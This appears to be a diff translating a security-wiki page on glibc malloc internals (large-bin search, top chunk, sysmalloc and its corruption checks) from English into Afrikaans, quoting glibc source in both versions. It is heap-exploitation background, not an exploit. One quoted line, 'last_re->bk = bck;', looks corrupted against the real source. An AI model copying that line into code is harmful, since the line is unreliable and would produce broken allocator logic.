- list does not have to be rerouted. */
- if (victim != last (bin)
- && chunksize_nomask (victim)
- == chunksize_nomask (victim->fd))
- victim = victim->fd;
-
- remainder_size = size - nb;
- unlink_chunk (av, victim);
-
- /* Exhaust */
- if (remainder_size < MINSIZE)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- set_non_main_arena (victim);
- }
- /* Split */
- else
- {
- remainder = chunk_at_offset (victim, nb);
- /* We cannot assume the unsorted list is empty and therefore
- have to perform a complete insert here. */
- bck = unsorted_chunks (av);
- fwd = bck->fd;
- if (__glibc_unlikely (fwd->bk != bck))
- malloc_printerr ("malloc(): corrupted unsorted chunks");
- last_re->bk = bck;
- remainder->fd = fwd;
- bck->fd = remainder;
- fwd->bk = remainder;
- if (!in_smallbin_range (remainder_size))
- {
- remainder->fd_nextsize = NULL;
- remainder->bk_nextsize = NULL;
- }
- set_head (victim, nb | PREV_INUSE |
- (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
- set_foot (remainder, remainder_size);
- }
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
-```
+If a large request, scan through the chunks of current bin in
+sorted order to find smallest that fits. Use the skip list for this.
+*/
+if (!in_smallbin_range (nb))
+{
+bin = bin_at (av, idx);
+
+/* skip scan if empty or largest chunk is too small */
+if ((victim = first (bin)) != bin
+&& (unsigned long) chunksize_nomask (victim)
+>= (unsigned long) (nb))
+{
+victim = victim->bk_nextsize;
+while (((unsigned long) (size = chunksize (victim)) <
+(unsigned long) (nb)))
+victim = victim->bk_nextsize;
+
+/* Avoid removing the first entry for a size so that the skip
+list does not have to be rerouted. */
+if (victim != last (bin)
+&& chunksize_nomask (victim)
+== chunksize_nomask (victim->fd))
+victim = victim->fd;
+
+remainder_size = size - nb;
+unlink_chunk (av, victim);
+
+/* Exhaust */
+if (remainder_size < MINSIZE)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
+}
+/* Split */
+else
+{
+remainder = chunk_at_offset (victim, nb);
+/* We cannot assume the unsorted list is empty and therefore
+have to perform a complete insert here. */
+bck = unsorted_chunks (av);
+fwd = bck->fd;
+if (__glibc_unlikely (fwd->bk != bck))
+malloc_printerr ("malloc(): corrupted unsorted chunks");
+last_re->bk = bck;
+remainder->fd = fwd;
+bck->fd = remainder;
+fwd->bk = remainder;
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
+}
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
+```
-If a chunk isn't found suitable for this, continue
+As 'n chunk nie hiervoor geskik gevind word nie, gaan voort
-### Large Bin (next bigger)
+### Large Bin (volgende groter)
-If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any).
+As daar in die presiese large bin geen chunk was wat gebruik kon word nie, begin om deur al die volgende large bins te loop (begin by die onmiddellik groter een) totdat een gevind word (indien enige).
-The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed:
+Die remainder van die gesplete chunk word by die unsorted bin gevoeg, `last_remainder` word opgedateer, en dieselfde security check word uitgevoer:
- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (next bigger)
-
+_int_malloc Large bin (volgende groter)
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10
/*
- Search for a chunk by scanning bins, starting with next largest
- bin. This search is strictly by best-fit; i.e., the smallest
- (with ties going to approximately the least recently used) chunk
- that fits is selected.
-
- The bitmap avoids needing to check that most blocks are nonempty.
- The particular case of skipping all bins during warm-up phases
- when no chunks have been returned yet is faster than it might look.
- */
-
- ++idx;
- bin = bin_at (av, idx);
- block = idx2block (idx);
- map = av->binmap[block];
- bit = idx2bit (idx);
-
- for (;; )
- {
- /* Skip rest of block if there are no more set bits in this block. */
- if (bit > map || bit == 0)
- {
- do
- {
- if (++block >= BINMAPSIZE) /* out of bins */
- goto use_top;
- }
- while ((map = av->binmap[block]) == 0);
-
- bin = bin_at (av, (block << BINMAPSHIFT));
- bit = 1;
- }
-
- /* Advance to bin with set bit. There must be one. */
- while ((bit & map) == 0)
- {
- bin = next_bin (bin);
- bit <<= 1;
- assert (bit != 0);
- }
-
- /* Inspect the bin. It is likely to be non-empty */
- victim = last (bin);
-
- /* If a false alarm (empty bin), clear the bit. */
- if (victim == bin)
- {
- av->binmap[block] = map &= ~bit; /* Write through */
- bin = next_bin (bin);
- bit <<= 1;
- }
-
- else
- {
- size = chunksize (victim);
-
- /* We know the first chunk in this bin is big enough to use. */
- assert ((unsigned long) (size) >= (unsigned long) (nb));
-
- remainder_size = size - nb;
-
- /* unlink */
- unlink_chunk (av, victim);
-
- /* Exhaust */
- if (remainder_size < MINSIZE)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- set_non_main_arena (victim);
- }
-
- /* Split */
- else
- {
- remainder = chunk_at_offset (victim, nb);
-
- /* We cannot assume the unsorted list is empty and therefore
- have to perform a complete insert here. */
- bck = unsorted_chunks (av);
- fwd = bck->fd;
- if (__glibc_unlikely (fwd->bk != bck))
- malloc_printerr ("malloc(): corrupted unsorted chunks 2");
- remainder->bk = bck;
- remainder->fd = fwd;
- bck->fd = remainder;
- fwd->bk = remainder;
-
- /* advertise as last remainder */
- if (in_smallbin_range (nb))
- av->last_remainder = remainder;
- if (!in_smallbin_range (remainder_size))
- {
- remainder->fd_nextsize = NULL;
- remainder->bk_nextsize = NULL;
- }
- set_head (victim, nb | PREV_INUSE |
- (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
- set_foot (remainder, remainder_size);
- }
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
-```
+Search for a chunk by scanning bins, starting with next largest
+bin. This search is strictly by best-fit; i.e., the smallest
+(with ties going to approximately the least recently used) chunk
+that fits is selected.
+
+The bitmap avoids needing to check that most blocks are nonempty.
+The particular case of skipping all bins during warm-up phases
+when no chunks have been returned yet is faster than it might look.
+*/
+
+++idx;
+bin = bin_at (av, idx);
+block = idx2block (idx);
+map = av->binmap[block];
+bit = idx2bit (idx);
+
+for (;; )
+{
+/* Skip rest of block if there are no more set bits in this block. */
+if (bit > map || bit == 0)
+{
+do
+{
+if (++block >= BINMAPSIZE) /* out of bins */
+goto use_top;
+}
+while ((map = av->binmap[block]) == 0);
+
+bin = bin_at (av, (block << BINMAPSHIFT));
+bit = 1;
+}
+
+/* Advance to bin with set bit. There must be one. */
+while ((bit & map) == 0)
+{
+bin = next_bin (bin);
+bit <<= 1;
+assert (bit != 0);
+}
+
+/* Inspect the bin. It is likely to be non-empty */
+victim = last (bin);
+
+/* If a false alarm (empty bin), clear the bit. */
+if (victim == bin)
+{
+av->binmap[block] = map &= ~bit; /* Write through */
+bin = next_bin (bin);
+bit <<= 1;
+}
+
+else
+{
+size = chunksize (victim);
+
+/* We know the first chunk in this bin is big enough to use. */
+assert ((unsigned long) (size) >= (unsigned long) (nb));
+remainder_size = size - nb;
+
+/* unlink */
+unlink_chunk (av, victim);
+
+/* Exhaust */
+if (remainder_size < MINSIZE)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
+}
+
+/* Split */
+else
+{
+remainder = chunk_at_offset (victim, nb);
+
+/* We cannot assume the unsorted list is empty and therefore
+have to perform a complete insert here. */
+bck = unsorted_chunks (av);
+fwd = bck->fd;
+if (__glibc_unlikely (fwd->bk != bck))
+malloc_printerr ("malloc(): corrupted unsorted chunks 2");
+remainder->bk = bck;
+remainder->fd = fwd;
+bck->fd = remainder;
+fwd->bk = remainder;
+
+/* advertise as last remainder */
+if (in_smallbin_range (nb))
+av->last_remainder = remainder;
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
+}
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
+```
### Top Chunk
-At this point, it's time to get a new chunk from the Top chunk (if big enough).
+Op hierdie punt is dit tyd om ’n nuwe chunk uit die Top chunk te kry (indien dit groot genoeg is).
-It starts with a security check making sure that the size of the chunk size is not too big (corrupted):
+Dit begin met ’n sekuriteitskontrole om seker te maak dat die grootte van die chunk nie te groot is nie (beskadig):
- `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
-Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\
-If not, if there are fast chunks, consolidate them and try again.\
-Finally, if not enough space use `sysmalloc` to allocate enough size.
+Daarna sal dit die Top chunk se spasie gebruik indien dit groot genoeg is om ’n chunk van die aangevraagde grootte te skep.\
+Indien nie, en daar fast chunks is, sal dit hulle consolidate en weer probeer.\
+Laastens, indien daar nie genoeg spasie is nie, sal dit `sysmalloc` gebruik om genoeg spasie toe te wys.
_int_malloc Top chunk
-
```c
use_top:
- /*
- If large enough, split off the chunk bordering the end of memory
- (held in av->top). Note that this is in accord with the best-fit
- search rule. In effect, av->top is treated as larger (and thus
- less well fitting) than any other available chunk since it can
- be extended to be as large as necessary (up to system
- limitations).
-
- We require that av->top always exists (i.e., has size >=
- MINSIZE) after initialization, so if it would otherwise be
- exhausted by current request, it is replenished. (The main
- reason for ensuring it exists is that we may need MINSIZE space
- to put in fenceposts in sysmalloc.)
- */
-
- victim = av->top;
- size = chunksize (victim);
-
- if (__glibc_unlikely (size > av->system_mem))
- malloc_printerr ("malloc(): corrupted top size");
-
- if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
- {
- remainder_size = size - nb;
- remainder = chunk_at_offset (victim, nb);
- av->top = remainder;
- set_head (victim, nb | PREV_INUSE |
- (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
-
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
-
- /* When we are using atomic ops to free fast chunks we can get
- here for all block sizes. */
- else if (atomic_load_relaxed (&av->have_fastchunks))
- {
- malloc_consolidate (av);
- /* restore original bin index */
- if (in_smallbin_range (nb))
- idx = smallbin_index (nb);
- else
- idx = largebin_index (nb);
- }
-
- /*
- Otherwise, relay to handle system-dependent cases
- */
- else
- {
- void *p = sysmalloc (nb, av);
- if (p != NULL)
- alloc_perturb (p, bytes);
- return p;
- }
- }
+/*
+If large enough, split off the chunk bordering the end of memory
+(held in av->top). Note that this is in accord with the best-fit
+search rule. In effect, av->top is treated as larger (and thus
+less well fitting) than any other available chunk since it can
+be extended to be as large as necessary (up to system
+limitations).
+
+We require that av->top always exists (i.e., has size >=
+MINSIZE) after initialization, so if it would otherwise be
+exhausted by current request, it is replenished. (The main
+reason for ensuring it exists is that we may need MINSIZE space
+to put in fenceposts in sysmalloc.)
+*/
+
+victim = av->top;
+size = chunksize (victim);
+
+if (__glibc_unlikely (size > av->system_mem))
+malloc_printerr ("malloc(): corrupted top size");
+
+if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
+{
+remainder_size = size - nb;
+remainder = chunk_at_offset (victim, nb);
+av->top = remainder;
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
}
-```
+/* When we are using atomic ops to free fast chunks we can get
+here for all block sizes. */
+else if (atomic_load_relaxed (&av->have_fastchunks))
+{
+malloc_consolidate (av);
+/* restore original bin index */
+if (in_smallbin_range (nb))
+idx = smallbin_index (nb);
+else
+idx = largebin_index (nb);
+}
+
+/*
+Otherwise, relay to handle system-dependent cases
+*/
+else
+{
+void *p = sysmalloc (nb, av);
+if (p != NULL)
+alloc_perturb (p, bytes);
+return p;
+}
+}
+}
+```
## sysmalloc
-### sysmalloc start
+### sysmalloc begin
-If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it.
+As arena null is of die versoekte grootte te groot is (en daar nog toegelate mmaps is), gebruik `sysmalloc_mmap` om ruimte toe te ken en dit terug te gee.[[1]](#references)
-sysmalloc start
-
+sysmalloc begin
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
/*
- sysmalloc handles malloc cases requiring more memory from the system.
- On entry, it is assumed that av->top does not have enough
- space to service request for nb bytes, thus requiring that av->top
- be extended or replaced.
- */
+sysmalloc handles malloc cases requiring more memory from the system.
+On entry, it is assumed that av->top does not have enough
+space to service request for nb bytes, thus requiring that av->top
+be extended or replaced.
+*/
- static void *
+static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
- mchunkptr old_top; /* incoming value of av->top */
- INTERNAL_SIZE_T old_size; /* its size */
- char *old_end; /* its end address */
-
- long size; /* arg to first MORECORE or mmap call */
- char *brk; /* return value from MORECORE */
-
- long correction; /* arg to 2nd MORECORE call */
- char *snd_brk; /* 2nd return val */
-
- INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
- INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */
- char *aligned_brk; /* aligned offset into brk */
-
- mchunkptr p; /* the allocated/returned chunk */
- mchunkptr remainder; /* remainder from allocation */
- unsigned long remainder_size; /* its size */
-
-
- size_t pagesize = GLRO (dl_pagesize);
- bool tried_mmap = false;
-
-
- /*
- If have mmap, and the request size meets the mmap threshold, and
- the system supports mmap, and there are few enough currently
- allocated mmapped regions, try to directly map this request
- rather than expanding top.
- */
-
- if (av == NULL
- || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
- && (mp_.n_mmaps < mp_.n_mmaps_max)))
- {
- char *mm;
- if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize)
- {
- /* There is no need to issue the THP madvise call if Huge Pages are
- used directly. */
- mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av);
- if (mm != MAP_FAILED)
- return mm;
- }
- mm = sysmalloc_mmap (nb, pagesize, 0, av);
- if (mm != MAP_FAILED)
- return mm;
- tried_mmap = true;
- }
-
- /* There are no usable arenas and mmap also failed. */
- if (av == NULL)
- return 0;
-```
+mchunkptr old_top; /* incoming value of av->top */
+INTERNAL_SIZE_T old_size; /* its size */
+char *old_end; /* its end address */
+
+long size; /* arg to first MORECORE or mmap call */
+char *brk; /* return value from MORECORE */
+
+long correction; /* arg to 2nd MORECORE call */
+char *snd_brk; /* 2nd return val */
+
+INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
+INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */
+char *aligned_brk; /* aligned offset into brk */
+
+mchunkptr p; /* the allocated/returned chunk */
+mchunkptr remainder; /* remainder from allocation */
+unsigned long remainder_size; /* its size */
+
+
+size_t pagesize = GLRO (dl_pagesize);
+bool tried_mmap = false;
+
+
+/*
+If have mmap, and the request size meets the mmap threshold, and
+the system supports mmap, and there are few enough currently
+allocated mmapped regions, try to directly map this request
+rather than expanding top.
+*/
+
+if (av == NULL
+|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
+&& (mp_.n_mmaps < mp_.n_mmaps_max)))
+{
+char *mm;
+if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize)
+{
+/* There is no need to issue the THP madvise call if Huge Pages are
+used directly. */
+mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av);
+if (mm != MAP_FAILED)
+return mm;
+}
+mm = sysmalloc_mmap (nb, pagesize, 0, av);
+if (mm != MAP_FAILED)
+return mm;
+tried_mmap = true;
+}
+/* There are no usable arenas and mmap also failed. */
+if (av == NULL)
+return 0;
+```
### sysmalloc checks
-It starts by getting old top chunk information and checking that some of the following condations are true:
+Dit begin deur die inligting van die ou top-chunk te verkry en die volgende invariants na te gaan:
-- The old heap size is 0 (new heap)
-- The size of the previous heap is greater and MINSIZE and the old Top is in use
-- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0)
+- Die ou heap-grootte is 0 (nuwe heap)
+- Die grootte van die vorige heap is groter as MINSIZE en die ou Top is in gebruik
+- Die heap is op page size belyn (0x1000, dus moet die onderste 12 bisse 0 wees)
-Then it also checks that:
+Dan kontroleer dit ook dat:
-- The old size hasn't enough space to create a chunk for the requested size
+- Die ou grootte nie genoeg spasie het om ’n chunk vir die aangevraagde grootte te skep nie
sysmalloc checks
-
```c
/* Record incoming configuration of top */
- old_top = av->top;
- old_size = chunksize (old_top);
- old_end = (char *) (chunk_at_offset (old_top, old_size));
+old_top = av->top;
+old_size = chunksize (old_top);
+old_end = (char *) (chunk_at_offset (old_top, old_size));
- brk = snd_brk = (char *) (MORECORE_FAILURE);
+brk = snd_brk = (char *) (MORECORE_FAILURE);
- /*
- If not the first time through, we require old_size to be
- at least MINSIZE and to have prev_inuse set.
- */
+/*
+If not the first time through, we require old_size to be
+at least MINSIZE and to have prev_inuse set.
+*/
- assert ((old_top == initial_top (av) && old_size == 0) ||
- ((unsigned long) (old_size) >= MINSIZE &&
- prev_inuse (old_top) &&
- ((unsigned long) old_end & (pagesize - 1)) == 0));
+assert ((old_top == initial_top (av) && old_size == 0) ||
+((unsigned long) (old_size) >= MINSIZE &&
+prev_inuse (old_top) &&
+((unsigned long) old_end & (pagesize - 1)) == 0));
- /* Precondition: not enough current space to satisfy nb request */
- assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
+/* Precondition: not enough current space to satisfy nb request */
+assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
```
-
### sysmalloc not main arena
-It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\
-Finally if that didn't work, try calling **`sysmalloc_mmap`**.
+Dit sal eers probeer om die vorige heap vir hierdie heap te **uit te brei**. Indien dit nie moontlik is nie, sal dit probeer om ’n **nuwe heap te allokeer** en die pointers by te werk sodat dit gebruik kan word.\
+Laastens, indien dit nie gewerk het nie, sal dit probeer om **`sysmalloc_mmap`** aan te roep.
sysmalloc not main arena
-
```c
if (av != &main_arena)
- {
- heap_info *old_heap, *heap;
- size_t old_heap_size;
-
- /* First try to extend the current heap. */
- old_heap = heap_for_ptr (old_top);
- old_heap_size = old_heap->size;
- if ((long) (MINSIZE + nb - old_size) > 0
- && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
- {
- av->system_mem += old_heap->size - old_heap_size;
- set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
- | PREV_INUSE);
- }
- else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
- {
- /* Use a newly allocated heap. */
- heap->ar_ptr = av;
- heap->prev = old_heap;
- av->system_mem += heap->size;
- /* Set up the new top. */
- top (av) = chunk_at_offset (heap, sizeof (*heap));
- set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
-
- /* Setup fencepost and free the old top chunk with a multiple of
- MALLOC_ALIGNMENT in size. */
- /* The fencepost takes at least MINSIZE bytes, because it might
- become the top chunk again later. Note that a footer is set
- up, too, although the chunk is marked in use. */
- old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
- set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ),
- 0 | PREV_INUSE);
- if (old_size >= MINSIZE)
- {
- set_head (chunk_at_offset (old_top, old_size),
- CHUNK_HDR_SZ | PREV_INUSE);
- set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ);
- set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
- _int_free (av, old_top, 1);
- }
- else
- {
- set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE);
- set_foot (old_top, (old_size + CHUNK_HDR_SZ));
- }
- }
- else if (!tried_mmap)
- {
- /* We can at least try to use to mmap memory. If new_heap fails
- it is unlikely that trying to allocate huge pages will
- succeed. */
- char *mm = sysmalloc_mmap (nb, pagesize, 0, av);
- if (mm != MAP_FAILED)
- return mm;
- }
- }
+{
+heap_info *old_heap, *heap;
+size_t old_heap_size;
+
+/* First try to extend the current heap. */
+old_heap = heap_for_ptr (old_top);
+old_heap_size = old_heap->size;
+if ((long) (MINSIZE + nb - old_size) > 0
+&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
+{
+av->system_mem += old_heap->size - old_heap_size;
+set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
+| PREV_INUSE);
+}
+else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
+{
+/* Use a newly allocated heap. */
+heap->ar_ptr = av;
+heap->prev = old_heap;
+av->system_mem += heap->size;
+/* Set up the new top. */
+top (av) = chunk_at_offset (heap, sizeof (*heap));
+set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
+
+/* Setup fencepost and free the old top chunk with a multiple of
+MALLOC_ALIGNMENT in size. */
+/* The fencepost takes at least MINSIZE bytes, because it might
+become the top chunk again later. Note that a footer is set
+up, too, although the chunk is marked in use. */
+old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
+set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ),
+0 | PREV_INUSE);
+if (old_size >= MINSIZE)
+{
+set_head (chunk_at_offset (old_top, old_size),
+CHUNK_HDR_SZ | PREV_INUSE);
+set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ);
+set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
+_int_free (av, old_top, 1);
+}
+else
+{
+set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE);
+set_foot (old_top, (old_size + CHUNK_HDR_SZ));
+}
+}
+else if (!tried_mmap)
+{
+/* We can at least try to use to mmap memory. If new_heap fails
+it is unlikely that trying to allocate huge pages will
+succeed. */
+char *mm = sysmalloc_mmap (nb, pagesize, 0, av);
+if (mm != MAP_FAILED)
+return mm;
+}
+}
```
-
### sysmalloc main arena
-It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed.
+Dit begin deur die hoeveelheid geheue wat benodig word, te bereken. Dit sal begin deur aaneenlopende geheue aan te vra, sodat dit in hierdie geval moontlik sal wees om die ou, ongebruikte geheue te gebruik. Sommige alignment-bewerkings word ook uitgevoer.
sysmalloc main arena
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10
- else /* av == main_arena */
+else /* av == main_arena */
- { /* Request enough space for nb + pad + overhead */
- size = nb + mp_.top_pad + MINSIZE;
+{ /* Request enough space for nb + pad + overhead */
+size = nb + mp_.top_pad + MINSIZE;
- /*
- If contiguous, we can subtract out existing space that we hope to
- combine with new space. We add it back later only if
- we don't actually get contiguous space.
- */
+/*
+If contiguous, we can subtract out existing space that we hope to
+combine with new space. We add it back later only if
+we don't actually get contiguous space.
+*/
- if (contiguous (av))
- size -= old_size;
+if (contiguous (av))
+size -= old_size;
- /*
- Round to a multiple of page size or huge page size.
- If MORECORE is not contiguous, this ensures that we only call it
- with whole-page arguments. And if MORECORE is contiguous and
- this is not first time through, this preserves page-alignment of
- previous calls. Otherwise, we correct to page-align below.
- */
+/*
+Round to a multiple of page size or huge page size.
+If MORECORE is not contiguous, this ensures that we only call it
+with whole-page arguments. And if MORECORE is contiguous and
+this is not first time through, this preserves page-alignment of
+previous calls. Otherwise, we correct to page-align below.
+*/
#ifdef MADV_HUGEPAGE
- /* Defined in brk.c. */
- extern void *__curbrk;
- if (__glibc_unlikely (mp_.thp_pagesize != 0))
- {
- uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size,
- mp_.thp_pagesize);
- size = top - (uintptr_t) __curbrk;
- }
- else
+/* Defined in brk.c. */
+extern void *__curbrk;
+if (__glibc_unlikely (mp_.thp_pagesize != 0))
+{
+uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size,
+mp_.thp_pagesize);
+size = top - (uintptr_t) __curbrk;
+}
+else
#endif
- size = ALIGN_UP (size, GLRO(dl_pagesize));
-
- /*
- Don't try to call MORECORE if argument is so big as to appear
- negative. Note that since mmap takes size_t arg, it may succeed
- below even if we cannot call MORECORE.
- */
-
- if (size > 0)
- {
- brk = (char *) (MORECORE (size));
- if (brk != (char *) (MORECORE_FAILURE))
- madvise_thp (brk, size);
- LIBC_PROBE (memory_sbrk_more, 2, brk, size);
- }
-```
+size = ALIGN_UP (size, GLRO(dl_pagesize));
+
+/*
+Don't try to call MORECORE if argument is so big as to appear
+negative. Note that since mmap takes size_t arg, it may succeed
+below even if we cannot call MORECORE.
+*/
+if (size > 0)
+{
+brk = (char *) (MORECORE (size));
+if (brk != (char *) (MORECORE_FAILURE))
+madvise_thp (brk, size);
+LIBC_PROBE (memory_sbrk_more, 2, brk, size);
+}
+```
### sysmalloc main arena previous error 1
-If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback`
+As die voorafgaande oproep `MORECORE_FAILURE` teruggestuur het, probeer weer met `sysmalloc_mmap_fallback`.
sysmalloc main arena previous error 1
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10
if (brk == (char *) (MORECORE_FAILURE))
- {
- /*
- If have mmap, try using it as a backup when MORECORE fails or
- cannot be used. This is worth doing on systems that have "holes" in
- address space, so sbrk cannot extend to give contiguous space, but
- space is available elsewhere. Note that we ignore mmap max count
- and threshold limits, since the space will not be used as a
- segregated mmap region.
- */
-
- char *mbrk = MAP_FAILED;
- if (mp_.hp_pagesize > 0)
- mbrk = sysmalloc_mmap_fallback (&size, nb, old_size,
- mp_.hp_pagesize, mp_.hp_pagesize,
- mp_.hp_flags, av);
- if (mbrk == MAP_FAILED)
- mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE,
- pagesize, 0, av);
- if (mbrk != MAP_FAILED)
- {
- /* We do not need, and cannot use, another sbrk call to find end */
- brk = mbrk;
- snd_brk = brk + size;
- }
- }
+{
+/*
+If have mmap, try using it as a backup when MORECORE fails or
+cannot be used. This is worth doing on systems that have "holes" in
+address space, so sbrk cannot extend to give contiguous space, but
+space is available elsewhere. Note that we ignore mmap max count
+and threshold limits, since the space will not be used as a
+segregated mmap region.
+*/
+
+char *mbrk = MAP_FAILED;
+if (mp_.hp_pagesize > 0)
+mbrk = sysmalloc_mmap_fallback (&size, nb, old_size,
+mp_.hp_pagesize, mp_.hp_pagesize,
+mp_.hp_flags, av);
+if (mbrk == MAP_FAILED)
+mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE,
+pagesize, 0, av);
+if (mbrk != MAP_FAILED)
+{
+/* We do not need, and cannot use, another sbrk call to find end */
+brk = mbrk;
+snd_brk = brk + size;
+}
+}
```
-
-### sysmalloc main arena continue
+### sysmalloc main arena voortsetting
-If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments:
+As die vorige nie `MORECORE_FAILURE` teruggegee het nie, skep dit, indien dit gewerk het, ’n paar belynings:
-sysmalloc main arena previous error 2
-
+sysmalloc main arena vorige fout 2
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
if (brk != (char *) (MORECORE_FAILURE))
- {
- if (mp_.sbrk_base == 0)
- mp_.sbrk_base = brk;
- av->system_mem += size;
-
- /*
- If MORECORE extends previous space, we can likewise extend top size.
- */
-
- if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE))
- set_head (old_top, (size + old_size) | PREV_INUSE);
-
- else if (contiguous (av) && old_size && brk < old_end)
- /* Oops! Someone else killed our space.. Can't touch anything. */
- malloc_printerr ("break adjusted to free malloc space");
-
- /*
- Otherwise, make adjustments:
-
- * If the first time through or noncontiguous, we need to call sbrk
- just to find out where the end of memory lies.
-
- * We need to ensure that all returned chunks from malloc will meet
- MALLOC_ALIGNMENT
-
- * If there was an intervening foreign sbrk, we need to adjust sbrk
- request size to account for fact that we will not be able to
- combine new space with existing space in old_top.
-
- * Almost all systems internally allocate whole pages at a time, in
- which case we might as well use the whole last page of request.
- So we allocate enough more memory to hit a page boundary now,
- which in turn causes future contiguous calls to page-align.
- */
-
- else
- {
- front_misalign = 0;
- end_misalign = 0;
- correction = 0;
- aligned_brk = brk;
-
- /* handle contiguous cases */
- if (contiguous (av))
- {
- /* Count foreign sbrk as system_mem. */
- if (old_size)
- av->system_mem += brk - old_end;
-
- /* Guarantee alignment of first new chunk made from this space */
-
- front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
- if (front_misalign > 0)
- {
- /*
- Skip over some bytes to arrive at an aligned position.
- We don't need to specially mark these wasted front bytes.
- They will never be accessed anyway because
- prev_inuse of av->top (and any chunk created from its start)
- is always true after initialization.
- */
-
- correction = MALLOC_ALIGNMENT - front_misalign;
- aligned_brk += correction;
- }
-
